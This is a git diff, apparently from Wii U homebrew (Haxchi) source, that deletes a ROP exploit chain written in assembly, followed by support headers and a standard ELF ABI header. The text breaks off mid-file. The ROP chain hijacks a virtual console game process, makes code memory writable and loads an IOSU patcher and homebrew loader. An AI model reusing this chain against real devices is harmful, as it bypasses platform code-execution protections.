"haxchi_rop_hook.bin", HAX_TARGET_ADDRESS -.arm.big - -rop_hook_start: - ;call_func BCTRL, 0x0, 0x0, 0x0, 0x0 ; infinite loop - ;call_func OSFATAL, 0x1007E7A8, 0, 0, 0 - ; move stack pointer to safe area - set_sp (rop_start - 4) -.Close - - -; original game arm9 ram offset (safe, normally arm9 code) -.create "haxchi_rop_cb.bin", ARM9_ROM_LOCATION -.arm.big - -rop_start: - ; do hachihachi cleanups so we can use everything safely - call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0 - call_func NERD_FASTWIIU_SHUTDOWN, 0, 0, 0, 0 - call_func CORE_SHUTDOWN, 0, 0, 0, 0 - - ; set up hbl_loader in core 0 - call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread0_param, 0x0, 0x0 - - ; the code below prepares the stack for the thread in core 0 - - ; load memcpy jump into r3 - .word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR - .word MEMCPY ; r3 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; more r3 into r12 for our memcpy jump at the end of this - .word MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; prepare r31 to be a valid value for the next call - .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEADBABE ; r30 - .word (core0rop_end - core0rop) ; r31 (has to be the same as r5 in the next call) - .word 0xDEAD0001 ; garbage - ; get r5 ready for the length we want to copy - .word LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR - .word (core0rop_end - core0rop) ; r5 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r30 - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - ; get r4 ready for the data we want to copy - .word LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR - .word 0xDEAD0001 ; garbage - .word core0rop ; r4 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; prepare r31 to be a valid value for the next call - .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEADBABE ; r30 - .word (HAX_TARGET_ADDRESS-0x3000) ; r31 (has to be valid here) - .word 0xDEAD0001 ; garbage - ; loads the required value for the addition onto r3 later on - .word LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word (0x00800000 - 0x30 + 0xAFC) ; r7 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r30 - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - ; loads pointer to new thread sp into r3 - .word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR - .word (NERD_THREAD0OBJECT+4) ; r3 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; r3 contains new thread sp end after this load - .word LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR - .word 0xDEAD0001 ; garbage - ; r3 contains code injection thread sp after this add - .word LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r30 - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - ; jump to previously prepared r12 for memcpy - .word MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - - ; thread stack is prepared after this point - - ; wait for hbl_loader to do its job - call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 - call_func NERD_JOINTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 - - ; prepare system for foreground release - call_func OSSAVESDONE_READYTORELEASE, 0, 0, 0, 0 - - ; instruct all 3 cores to release foreground to prepare mii studio app launch - call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, OSRELEASEFOREGROUND, 0, thread0_param, 0x0, 0x0 - call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 - - call_func_6args NERD_CREATETHREAD, NERD_THREAD2OBJECT, OSRELEASEFOREGROUND, 0, thread2_param, 0x0, 0x0 - call_func NERD_STARTTHREAD, NERD_THREAD2OBJECT, 0x0, 0x0, 0x0 - - ; we are the main thread in core 1 so we call this direct - call_func OSRELEASEFOREGROUND, 0, 0, 0, 0 - - ; launch mii studio app - .word _START_EXIT - - core0rop: - ; switch codegen to RW - call_func OSCODEGEN_SWITCHSECMODE, 0x0, 0x0, 0x0, 0x0 - - ; memcpy code - call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0 - call_func MEMCPY, IOSU_PATCHER_ADR, iosu_patcher, iosu_patcher_end - iosu_patcher, 0x0 - call_func MEMCPY, CBHC_MENU_ADDR, cbhc_menu, cbhc_menu_end - cbhc_menu, 0x0 - call_func MEMCPY, VWII_LOADER_ADDR, vwii_loader, vwii_loader_end - vwii_loader, 0x0 - call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xF000, 0x0, 0x0 - - ; switch codegen to RX - call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0 - call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xF000, 0x0, 0x0 - - ; execute option_select in codegen - .word CBHC_MENU_ADDR - core0rop_end: - - ; core 0 thread params - output0_string: - .ascii "hax0thread" - .byte 0x00 - .align 0x4 - - thread0_param: - .word output0_string - .word 0x00800000 ; stack size - .word 0x00000010 ; thread prio - .halfword 0x0001 ; thread affinity (core0) - - ; core 2 thread params - output2_string: - .ascii "hax2thread" - .byte 0x00 - .align 0x4 - - thread2_param: - .word output2_string - .word 0x00800000 ; stack size - .word 0x00000010 ; thread prio - .halfword 0x0004 ; thread affinity (core2) - - hbl_loader: - .incbin "hbl_loader.bin" - hbl_loader_end: - - iosu_patcher: - .incbin "iosu_patcher.bin" - iosu_patcher_end: - - cbhc_menu: - .incbin "cbhc_menu.bin" - cbhc_menu_end: - - vwii_loader: - .incbin "vwii_loader.bin" - vwii_loader_end: - -.Close diff --git a/dsrom/hbl_loader/common.h b/dsrom/hbl_loader/common.h deleted file mode 100644 index feb893a..0000000 --- a/dsrom/hbl_loader/common.h +++ /dev/null @@ -1,45 +0,0 @@ -#ifndef COMMON_H -#define COMMON_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include "os_defs.h" - -#define HBL_VERSION "v1.4" - -#define CAFE_OS_SD_PATH "/vol/external01" -#define SD_PATH "sd:" -#define WIIU_PATH "/wiiu" - -#ifndef MEM_BASE -#define MEM_BASE (0x00800000) -#endif - -#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) -#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) -#define HBL_CHANNEL (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x08)) -#define RPX_MAX_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x0C)) -#define RPX_MAX_CODE_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x10)) -#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) -#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) - -#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) - -#define MEM_AREA_TABLE ((s_mem_area*)(MEM_BASE + 0x1600)) - -#define SD_LOADER_PATH ((char*)(MEM_BASE + 0x1E00)) -#define SD_LOADER_FORCE_HBL (*(volatile unsigned int*)(MEM_BASE + 0x1E00 + 0xFC)) - -#ifndef EXIT_SUCCESS -#define EXIT_SUCCESS 0 -#endif -#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD - -#ifdef __cplusplus -} -#endif - -#endif /* COMMON_H */ - diff --git a/dsrom/hbl_loader/coreinit.h b/dsrom/hbl_loader/coreinit.h deleted file mode 100644 index cf9943e..0000000 --- a/dsrom/hbl_loader/coreinit.h +++ /dev/null @@ -1,31 +0,0 @@ -//Taken from libwiius coreinit.h - -#ifndef COREINIT_H -#define COREINIT_H - -#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) -#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) -#define OSFatal ((void (*)(char* msg))0x01031618) -#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) - -typedef struct OSContext -{ - /* OSContext identifier */ - uint32_t tag1; - uint32_t tag2; - - /* GPRs */ - uint32_t gpr[32]; - - /* Special registers */ - uint32_t cr; - uint32_t lr; - uint32_t ctr; - uint32_t xer; - - /* Initial PC and MSR */ - uint32_t srr0; - uint32_t srr1; -} OSContext; - -#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/hbl_loader/elf_abi.h b/dsrom/hbl_loader/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/dsrom/hbl_loader/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern 